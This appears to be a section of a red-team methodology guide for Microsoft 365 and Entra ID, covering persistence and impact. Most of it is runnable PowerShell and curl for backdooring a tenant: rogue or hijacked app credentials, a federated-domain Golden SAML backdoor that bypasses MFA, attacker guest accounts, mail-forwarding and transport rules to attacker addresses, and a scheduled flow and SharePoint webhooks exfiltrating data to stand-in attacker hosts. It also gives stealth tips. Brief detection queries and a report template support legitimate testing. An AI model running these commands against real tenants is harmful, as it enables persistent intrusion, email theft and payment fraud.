Persistence & Impact
Establish persistent backdoor access that survives password resets and remediation, then demonstrate the true business impact of compromise to drive remediation priority.
☑ Phase Progress
0 / 11 completed🔑 Identity-Based Persistence
Create a new application registration with high-privilege API permissions and admin-consent it. The app secret provides persistent access that survives user password changes, MFA enforcement, and session revocation.
Step 1a: Create the application
# Connect with an account that has Application.ReadWrite.All or Global Admin
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Create a new application with a legitimate-sounding name
$appParams = @{
DisplayName = "Microsoft Security Compliance Audit"
SignInAudience = "AzureADMyOrg"
RequiredResourceAccess = @(
@{
ResourceAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph
ResourceAccess = @(
@{ Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"; Type = "Scope" } # User.Read
@{ Id = "810c84a8-4a9e-49e6-bf7d-12d183f40d01"; Type = "Role" } # Mail.Read (Application)
@{ Id = "01d4f41f-ba44-4b71-8910-08e2059a2d3d"; Type = "Role" } # Files.Read.All (Application)
@{ Id = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"; Type = "Role" } # RoleManagement.ReadWrite.Directory
@{ Id = "19dbc75e-c2e2-444c-a770-ec69d8559fc7"; Type = "Role" } # Directory.ReadWrite.All
)
}
)
}
$app = New-MgApplication @appParams
Write-Host "App ID: $($app.AppId)"
Write-Host "Object ID: $($app.Id)"
Step 1b: Add a long-lived client secret
# Add a secret with 2-year expiry (max allowed)
$secretParams = @{
PasswordCredential = @{
DisplayName = "Auto-generated key"
EndDateTime = (Get-Date).AddYears(2)
}
}
$secret = Add-MgApplicationPassword -ApplicationId $app.Id @secretParams
Write-Host "Client Secret: $($secret.SecretText)"
# SAVE THIS - it's only displayed once
Step 1c: Grant admin consent (requires Global Admin or Privileged Role Admin)
# Construct the admin consent URL
$tenantId = (Get-MgOrganization).Id
$consentUrl = "https://login.microsoftonline.com/$tenantId/adminconsent?client_id=$($app.AppId)"
Write-Host "Admin consent URL: $consentUrl"
# Or grant consent via Graph API if you have the permissions
$sp = Get-MgServicePrincipal -Filter "AppId eq '$($app.AppId)'"
# Grant each application permission
$graphSP = Get-MgServicePrincipal -Filter "AppId eq '00000003-0000-0000-c000-000000000000'"
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id `
-PrincipalId $sp.Id `
-ResourceId $graphSP.Id `
-AppRoleId "810c84a8-4a9e-49e6-bf7d-12d183f40d01" # Mail.Read
Step 1d: Authenticate as the app (persistent access)
# This works regardless of user MFA, password changes, or session revocation
curl -X POST "https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/token" \
-d "client_id={app-id}" \
-d "client_secret={secret}" \
-d "scope=https://graph.microsoft.com/.default" \
-d "grant_type=client_credentials"
# Use the returned access_token to call Graph API
curl -H "Authorization: Bearer {access_token}" \
"https://graph.microsoft.com/v1.0/users/{target}/messages?\$top=50"
AuditLogs | where ActivityDisplayName == "Add application" in Sentinel. Regularly review app permissions with access reviews.Instead of creating a new app (which is more visible), inject a new secret or certificate into an existing legitimate application. This is far stealthier because the app already exists, is trusted, and may already have the permissions you need.
Find high-value targets - apps with broad permissions:
# Find apps with Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory, etc.
$apps = Get-MgApplication -All
foreach ($a in $apps) {
$perms = $a.RequiredResourceAccess.ResourceAccess | Where-Object { $_.Type -eq "Role" }
if ($perms.Id -contains "19dbc75e-c2e2-444c-a770-ec69d8559fc7") { # Directory.ReadWrite.All
Write-Host "HIGH VALUE: $($a.DisplayName) - AppId: $($a.AppId)"
}
}
# Also check who owns these apps (you may be an owner)
Get-MgApplicationOwner -ApplicationId {app-object-id}
Inject a new secret into the target app:
# Add a credential to an existing application
$secret = Add-MgApplicationPassword -ApplicationId {target-app-object-id} -PasswordCredential @{
DisplayName = "Backup credential - DO NOT DELETE"
EndDateTime = (Get-Date).AddYears(2)
}
Write-Host "Injected secret: $($secret.SecretText)"
# Now authenticate as this service principal using client_credentials flow
Certificate-based persistence (even stealthier):
# Generate a self-signed certificate
$cert = New-SelfSignedCertificate -Subject "CN=BackupAuth" `
-CertStoreLocation "Cert:\CurrentUser\My" `
-KeyExportPolicy Exportable `
-NotAfter (Get-Date).AddYears(2)
# Export the public key
$certBase64 = [Convert]::ToBase64String($cert.RawData)
# Add cert to the application
$keyCredential = @{
Type = "AsymmetricX509Cert"
Usage = "Verify"
Key = [Convert]::FromBase64String($certBase64)
}
Update-MgApplication -ApplicationId {app-object-id} -KeyCredentials @($keyCredential)
# Auth with certificate - no secret exposed in logs
Connect-MgGraph -ClientId {app-id} -TenantId {tenant} `
-CertificateThumbprint $cert.Thumbprint
AuditLogs | where ActivityDisplayName in ("Add service principal credentials", "Update application – Certificates and secrets management"). Restrict the Application Administrator and Cloud Application Administrator roles using PIM with approval. Conduct regular credential inventory audits on all app registrations.The most devastating persistence mechanism in Entra ID. By configuring a federated domain to trust an attacker-controlled Identity Provider (IDP), the attacker can authenticate as any user in that domain without knowing their password. This mimics the Golden SAML attack used in the SolarWinds breach.
Option A: Convert a domain to federated with attacker-controlled IDP
# Import AADInternals
Import-Module AADInternals
# Get access token with Global Admin
$at = Get-AADIntAccessTokenForAADGraph
# Convert a domain to federated (DESTRUCTIVE - breaks normal auth for this domain)
ConvertTo-AADIntBackdoor -DomainName "target-domain.com" -AccessToken $at
# This creates a federation trust with AADInternals' built-in IDP
# Now you can generate SAML tokens for ANY user in this domain
Option B: Add federation to a secondary/unused domain (stealthier)
# If the tenant has multiple domains, federate an unused one
# First, list domains
Get-AADIntDomains -AccessToken $at
# Set federation on a less-monitored domain
Set-AADIntDomainAuthentication -DomainName "legacy-domain.com" `
-Authentication Federated `
-IssuerUri "http://attacker-idp.com/adfs/services/trust" `
-LogOnUri "https://attacker-idp.com/adfs/ls" `
-SigningCertificate {base64-cert} `
-AccessToken $at
Generate tokens to sign in as any user:
# After backdoor is set, create a SAML token for any user
Open-AADIntOffice365Portal -ImmutableId {user-immutable-id} `
-Issuer "http://attacker-idp.com/adfs/services/trust" `
-UseBuiltInCertificate `
-ByPassMFA $true
# Or get an access token directly
$token = Get-AADIntAccessTokenForAADGraph -SAMLToken (
New-AADIntSAMLToken -ImmutableId {user-immutable-id} `
-Issuer "http://attacker-idp.com/adfs/services/trust" `
-UseBuiltInCertificate
)
# This bypasses MFA entirely - the federation trust IS the authentication
AuditLogs | where ActivityDisplayName has "Set domain authentication" or ActivityDisplayName has "Set federation settings on domain". Review federation trusts regularly. Limit Global Admin count and protect with PIM + hardware MFA. Consider Security Defaults or CA policies that block legacy federation flows.Invite an attacker-controlled external account as a guest user and assign it persistent permissions. Guest accounts survive password resets of internal users and are often overlooked in remediation.
# Invite an external guest user
$invitation = New-MgInvitation -InvitedUserEmailAddress "attacker@external-domain.com" `
-InviteRedirectUrl "https://myapps.microsoft.com" `
-SendInvitationMessage:$false # Don't send email - less visible
# Get the created user object
$guestUser = Get-MgUser -UserId $invitation.InvitedUser.Id
# Add to a security group with access to sensitive resources
New-MgGroupMember -GroupId {target-group-id} -DirectoryObjectId $guestUser.Id
# Or assign a directory role for admin access
New-MgDirectoryRoleMemberByRef -DirectoryRoleId {role-id} -BodyParameter @{
"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($guestUser.Id)"
}
# The guest can now redeem the invitation and access the tenant persistently
AuditLogs | where ActivityDisplayName == "Invite external user". Block guest accounts from admin roles via CA policies.⚙ Service-Level Persistence
Create hidden inbox rules that silently forward copies of all incoming email to an external address. Advanced techniques can make rules invisible to Outlook/OWA using MAPI property manipulation.
Standard inbox forwarding rule:
# Connect to Exchange Online
Connect-ExchangeOnline
# Create an inbox rule that forwards all email to external address
New-InboxRule -Mailbox "target@company.com" `
-Name "Security Compliance Backup" `
-ForwardTo "attacker@external.com" `
-MarkAsRead $true `
-StopProcessingRules $false
# Alternative: Forward via SMTP (harder to detect in some configurations)
Set-Mailbox -Identity "target@company.com" `
-ForwardingSMTPAddress "attacker@external.com" `
-DeliverToMailboxAndForward $true
Using Graph API to create a hidden rule:
# Create a mail rule via Graph API
curl -X POST "https://graph.microsoft.com/v1.0/users/{user-id}/mailFolders/inbox/messageRules" \
-H "Authorization: Bearer {token}" \
-H "Content-Type: application/json" \
-d '{
"displayName": "Archive Rule",
"sequence": 1,
"isEnabled": true,
"conditions": {},
"actions": {
"forwardTo": [
{
"emailAddress": {
"address": "attacker@external.com"
}
}
]
}
}'
Org-wide transport rule (requires Exchange Admin):
# Create a transport rule that BCCs all email to an external address
New-TransportRule -Name "Compliance Journal" `
-BlindCopyTo "attacker@external.com" `
-SentToScope "InOrganization" `
-Priority 0
# This captures ALL internal email in the organization
OfficeActivity | where Operation in ("New-InboxRule", "Set-InboxRule", "Set-Mailbox"). Regular audit of all inbox rules across the org using Get-InboxRule. Alert on ForwardingSMTPAddress changes. Block external forwarding at the org level in Exchange admin.Maintain persistent access through long-lived refresh tokens. Default refresh token lifetime in Entra ID is 90 days, and tokens can be continuously refreshed, providing indefinite access as long as the token family isn't revoked.
# Refresh an access token using a stolen refresh token
curl -X POST "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
-d "grant_type=refresh_token" \
-d "refresh_token={stolen_refresh_token}" \
-d "scope=https://graph.microsoft.com/.default offline_access"
# Response includes a NEW refresh_token - save it for next time
# This cycle can continue indefinitely as long as:
# 1. Token isn't explicitly revoked
# 2. User account isn't disabled
# 3. Continuous Access Evaluation (CAE) doesn't terminate it
# Using TokenTactics to maintain token lifecycle
Import-Module TokenTactics
# Refresh to different resource scopes as needed
$tokens = Invoke-RefreshToMSGraphToken -RefreshToken {refresh_token} `
-Domain "target.com" `
-ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Store the new refresh token
$tokens.refresh_token | Out-File -FilePath "refresh_token_latest.txt"
# Switch to Outlook access
$outlookTokens = Invoke-RefreshToOutlookToken -RefreshToken $tokens.refresh_token
# Switch to SharePoint access
$spTokens = Invoke-RefreshToSharePointToken -RefreshToken $tokens.refresh_token `
-Domain "target.com"
Revoke-MgUserSignInSession to revoke all refresh tokens for a compromised user. Monitor for token usage from anomalous locations/IPs in sign-in logs.Create Power Automate flows that run on a schedule or trigger, performing actions with the creator's permissions. Flows run silently in the background and can exfiltrate data, maintain access, or perform actions continuously.
Example: Daily email exfiltration flow
// Power Automate flow definition (simplified)
{
"trigger": {
"type": "Recurrence",
"recurrence": {
"frequency": "Day",
"interval": 1
}
},
"actions": {
"Get_emails": {
"type": "OpenApiConnection",
"inputs": {
"host": { "api": "office365" },
"method": "get",
"path": "/v2/Mail",
"queries": { "fetchOnlyUnread": true }
}
},
"Send_to_webhook": {
"type": "Http",
"inputs": {
"method": "POST",
"uri": "https://attacker-webhook.example.com/collect",
"body": "@body('Get_emails')"
}
}
}
}
Enumerate existing flows via API:
# List all flows in the default environment
curl -H "Authorization: Bearer {token}" \
"https://api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/{env-id}/flows?api-version=2016-11-01"
# Get details of a specific flow including its connections
curl -H "Authorization: Bearer {token}" \
"https://api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/{env-id}/flows/{flow-id}?api-version=2016-11-01"
Set up webhooks on SharePoint lists and document libraries to receive real-time notifications when new documents are uploaded or modified. This provides ongoing intelligence without actively polling the environment.
# Create a webhook subscription on a SharePoint list/library
curl -X POST "https://graph.microsoft.com/v1.0/sites/{site-id}/lists/{list-id}/subscriptions" \
-H "Authorization: Bearer {token}" \
-H "Content-Type: application/json" \
-d '{
"changeType": "created,updated",
"notificationUrl": "https://attacker-server.com/webhook/receive",
"expirationDateTime": "2025-12-31T00:00:00Z",
"resource": "sites/{site-id}/lists/{list-id}"
}'
# The webhook will POST notifications to attacker server when files change
# Expiration is max 6 months - need to renew periodically
# Using PnP PowerShell
Connect-PnPOnline -Url "https://company.sharepoint.com/sites/sensitive" -AccessToken {token}
# Add webhook to document library
Add-PnPWebhookSubscription -List "Documents" `
-NotificationUrl "https://attacker-server.com/webhook" `
-ExpirationDate (Get-Date).AddMonths(6)
# List existing webhooks to check for detection
Get-PnPWebhookSubscriptions -List "Documents"
💥 Demonstrating Business Impact
Demonstrate how an attacker with mailbox access could intercept and manipulate financial transactions through Business Email Compromise. This is consistently the highest-impact financial attack against organisations.
BEC attack chain to document:
| Stage | Action | Evidence to Collect |
|---|---|---|
| 1. Monitor | Set inbox rule to forward financial emails (invoices, wire transfers, payments) to attacker | Screenshot of rule creation, sample forwarded email subjects |
| 2. Identify | Search mailbox for active payment threads, vendor relationships, and approval chains | KQL search results showing financial correspondence exists |
| 3. Intercept | Demonstrate ability to read and reply to existing email threads as the compromised user | Screenshot showing ability to compose reply in thread |
| 4. Redirect | Document that banking details could be modified in a forwarded invoice (DO NOT actually send) | Draft email showing modified content - never sent |
# Search for financial email threads (Graph API)
$searchParams = @{
Requests = @(
@{
EntityTypes = @("message")
Query = @{
QueryString = "(invoice OR payment OR wire transfer OR bank details) AND hasAttachment:true"
}
From = 0
Size = 25
}
)
}
# This demonstrates the attacker could find financial transactions
Invoke-MgBetaSearchQuery -BodyParameter $searchParams
# Document: X financial emails found, Y active payment threads identified
# Document: Ability to reply-as CFO/Finance team member confirmed
# Document: No DLP policies blocked access to this content
Document the blast radius of a potential ransomware or destructive attack. Quantify exactly how much data could be encrypted, deleted, or exfiltrated based on the access achieved. Never actually perform destructive actions.
# Quantify SharePoint/OneDrive blast radius
$sites = Get-MgSite -All
Write-Host "Total SharePoint sites accessible: $($sites.Count)"
foreach ($site in $sites) {
$drives = Get-MgSiteDrive -SiteId $site.Id
foreach ($drive in $drives) {
$items = Get-MgDriveItemChild -DriveId $drive.Id -DriveItemId "root" -All
$totalSize = ($items | Measure-Object -Property Size -Sum).Sum
Write-Host "Site: $($site.DisplayName) - Files: $($items.Count) - Size: $([math]::Round($totalSize/1GB, 2)) GB"
}
}
# Quantify mailbox blast radius
$mailboxes = Get-MgUser -All -Property DisplayName,Mail,AssignedLicenses |
Where-Object { $_.AssignedLicenses }
Write-Host "Licensed mailboxes accessible: $($mailboxes.Count)"
# Document: With Global Admin, attacker could access:
# - X SharePoint sites containing Y TB of data
# - Z user mailboxes
# - N OneDrive accounts
# - All Teams channel files
Blast radius report template:
| Resource Type | Count | Total Size | Access Level | Backup Available |
|---|---|---|---|---|
| SharePoint Sites | [enumerate] | [calculate] | Read/Write/Delete | [check retention policies] |
| User Mailboxes | [enumerate] | [calculate] | Full Access | [check litigation hold] |
| OneDrive Accounts | [enumerate] | [calculate] | Read/Write/Delete | [check retention] |
| Teams Data | [enumerate] | [calculate] | Read/Modify | [check retention] |
Structure your final penetration test report for maximum impact. Every finding should be documented with evidence, risk rating, and actionable remediation guidance.
Finding documentation template:
## Finding: [TITLE]
**Severity:** Critical / High / Medium / Low
**CVSS Score:** X.X
**MITRE ATT&CK:** TXXXX - Technique Name
**Phase:** [Which phase this was discovered in]
### Description
[What was found and why it matters]
### Proof of Concept
[Step-by-step reproduction with screenshots]
1. Authenticated using [method]
2. Executed [command/action]
3. Achieved [result]
### Evidence
- Screenshot: [filename]
- Command output: [filename]
- Timestamp: [UTC time]
### Business Impact
[Concrete description of what an attacker could achieve]
- Data at risk: [X records, Y GB of files]
- Financial impact: [estimated based on BEC potential, data value]
- Compliance: [GDPR, SOC2, HIPAA implications]
### Remediation
**Immediate (0-7 days):**
- [Action item 1]
- [Action item 2]
**Short-term (30 days):**
- [Action item 1]
- [Action item 2]
**Long-term (90 days):**
- [Action item 1]
- [Action item 2]
### References
- [Microsoft documentation link]
- [MITRE ATT&CK link]
Report structure:
- Executive Summary — Business-level overview of risk, 1-2 pages max, suitable for C-suite
- Scope & Methodology — What was tested, rules of engagement, tools used, timeframe
- Attack Narrative — Chronological story of the attack path from recon to impact
- Findings (by severity) — Each finding using the template above, grouped Critical → Low
- Attack Path Diagram — Visual representation of how each phase connected
- Remediation Roadmap — Prioritised remediation plan with effort estimates
- Appendices — Full command logs, raw outputs, tool configurations
Post-engagement cleanup checklist: